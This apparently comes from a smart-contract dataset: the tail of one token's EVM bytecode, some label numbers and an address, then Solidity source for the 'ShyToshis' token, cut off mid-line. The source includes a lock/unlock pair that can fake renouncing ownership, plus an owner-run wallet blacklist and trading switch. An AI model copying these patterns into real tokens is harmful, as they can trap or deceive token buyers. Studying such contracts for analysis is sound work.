fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316610766611112565b6001600160a01b03161461077957600080fd5b476107838161167b565b50565b6001600160a01b0381166000908152600260205260408120546105a0906116b5565b6107b0611112565b6000546001600160a01b03908116911614610812576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b031690565b60408051808201909152601381527f537570657220536869626120496e75f09fa6b800000000000000000000000000602082015290565b600061059c6108bc611112565b8484611202565b6108cb611112565b6000546001600160a01b0390811691161461092d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b81518110156109ea576001600c600084848151811061094b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600b82828151811061099857fe5b602090810291909101810151825460018082018555600094855292909320909201805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039093169290921790915501610930565b5050565b600e546001600160a01b0316610a02611112565b6001600160a01b031614610a1557600080fd5b6000610a2030610786565b905061078381611715565b610a33611112565b6000546001600160a01b03908116911614610a95576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601054600160a01b900460ff1615610af4576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b4a9030906001600160a01b0316683635c9adc5dea00000611116565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8357600080fd5b505afa158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610bfd57600080fd5b505afa158015610c11573d6000803e3d6000fd5b505050506040513d6020811015610c2757600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610c9157600080fd5b505af1158015610ca5573d6000803e3d6000fd5b505050506040513d6020811015610cbb57600080fd5b50516010805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03928316179055600f541663f305d7194730610cfa81610786565b600080610d05610869565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d7057600080fd5b505af1158015610d84573d6000803e3d6000fd5b50505050506040513d6060811015610d9b57600080fd5b5050601080546722b1c8c1227a00006011557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff60ff60b81b197fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216600160b01b1791909116600160b81b1716600160a01b1790819055600f54604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b505050506040513d6020811015610ead57600080fd5b505050565b610eba611112565b6000546001600160a01b03908116911614610f1c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008111610f71576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610f8f6064610f89683635c9adc5dea00000846118fc565b90611955565b601181905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610ffc611112565b6000546001600160a01b0390811691161461105e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b600b5481101561078357600c6000600b838154811061107c57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561110a5761110a600b82815481106110b957fe5b600091825260209091200154600a54600b80546001600160a01b0393841693909216916111059190869081106110eb57fe5b6000918252602090912001546001600160a01b0316610786565b611202565b600101611061565b3390565b6001600160a01b03831661115b5760405162461bcd60e51b8152600401808060200182810382526024815260200180611ebe6024913960400191505060405180910390fd5b6001600160a01b0382166111a05760405162461bcd60e51b8152600401808060200182810382526022815260200180611e056022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112475760405162461bcd60e51b8152600401808060200182810382526025815260200180611e996025913960400191505060405180910390fd5b6001600160a01b03821661128c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611db86023913960400191505060405180910390fd5b600081116112cb5760405162461bcd60e51b8152600401808060200182810382526029815260200180611e706029913960400191505060405180910390fd5b6112d3610869565b6001600160a01b0316836001600160a01b03161415801561130d57506112f7610869565b6001600160a01b0316826001600160a01b031614155b1561158757601054600160b81b900460ff1615611413576001600160a01b038316301480159061134657506001600160a01b0382163014155b80156113605750600f546001600160a01b03848116911614155b801561137a5750600f546001600160a01b03838116911614155b1561141357600f546001600160a01b0316611393611112565b6001600160a01b031614806113c257506010546001600160a01b03166113b7611112565b6001600160a01b0316145b611413576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60115481111561142257600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561146457506001600160a01b0382166000908152600c602052604090205460ff16155b61146d57600080fd5b6010546001600160a01b0384811691161480156114985750600f546001600160a01b03838116911614155b80156114bd57506001600160a01b03821660009081526005602052604090205460ff16155b80156114d25750601054600160b81b900460ff165b1561151a576001600160a01b0382166000908152600d602052604090205442116114fb57600080fd5b6001600160a01b0382166000908152600d60205260409020603c420190555b600061152530610786565b601054909150600160a81b900460ff1615801561155057506010546001600160a01b03858116911614155b80156115655750601054600160b01b900460ff165b156115855761157381611715565b478015611583576115834761167b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115c957506001600160a01b03831660009081526005602052604090205460ff165b156115d2575060005b6115de84848484611997565b50505050565b600081848411156116735760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611638578181015183820152602001611620565b50505050905090810190601f1680156116655780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109ea573d6000803e3d6000fd5b60006006548211156116f85760405162461bcd60e51b815260040180806020018281038252602a815260200180611ddb602a913960400191505060405180910390fd5b60006117026119bc565b905061170e8382611955565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061175657fe5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117aa57600080fd5b505afa1580156117be573d6000803e3d6000fd5b505050506040513d60208110156117d457600080fd5b50518151829060019081106117e557fe5b6001600160a01b039283166020918202929092010152600f5461180b9130911684611116565b600f546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156118aa578181015183820152602001611892565b505050509050019650505050505050600060405180830381600087803b1580156118d357600080fd5b505af11580156118e7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261190b575060006105a0565b8282028284828161191857fe5b041461170e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611e276021913960400191505060405180910390fd5b600061170e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119df565b806119a4576119a4611a44565b6119af848484611a6b565b806115de576115de611b60565b60008060006119c9611b6c565b90925090506119d88282611955565b9250505090565b60008183611a2e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611638578181015183820152602001611620565b506000838581611a3a57fe5b0495945050505050565b600854158015611a545750600954155b15611a5e57611a69565b600060088190556009555b565b600080600080600080611a7d87611bb1565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611aaf9087611c0e565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ade9086611c50565b6001600160a01b038916600090815260026020526040902055611b0081611caa565b611b0a8483611cf4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000600855600a600955565b6006546000908190683635c9adc5dea00000611b888282611955565b821015611ba757600654683635c9adc5dea00000935093505050611bad565b90925090505b9091565b6000806000806000806000806000611bce8a600854600954611d18565b9250925092506000611bde6119bc565b90506000806000611bf18e878787611d67565b919e509c509a509598509396509194505050505091939550919395565b600061170e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e4565b60008282018381101561170e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611cb46119bc565b90506000611cc283836118fc565b30600090815260026020526040902054909150611cdf9082611c50565b30600090815260026020526040902055505050565b600654611d019083611c0e565b600655600754611d119082611c50565b6007555050565b6000808080611d2c6064610f8989896118fc565b90506000611d3f6064610f898a896118fc565b90506000611d5782611d518b86611c0e565b90611c0e565b9992985090965090945050505050565b6000808080611d7688866118fc565b90506000611d8488876118fc565b90506000611d9288886118fc565b90506000611da482611d518686611c0e565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ddf55f433a46429c2f5daaab5639803d8887ebbe62c6613842c5f4e1a03cd0af64736f6c634300060c0033
[ 13, 5, 11 ]
0xf24ff4d2af9698a3aac9e69c1f991ed638a6a866
pragma solidity ^0.8.9; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract ShyToshis is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Shytoshi"; string private _symbol = "ShyBird"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public marketingFeePercent = 5; uint256 public _liquidityFee = 4; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 10000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == 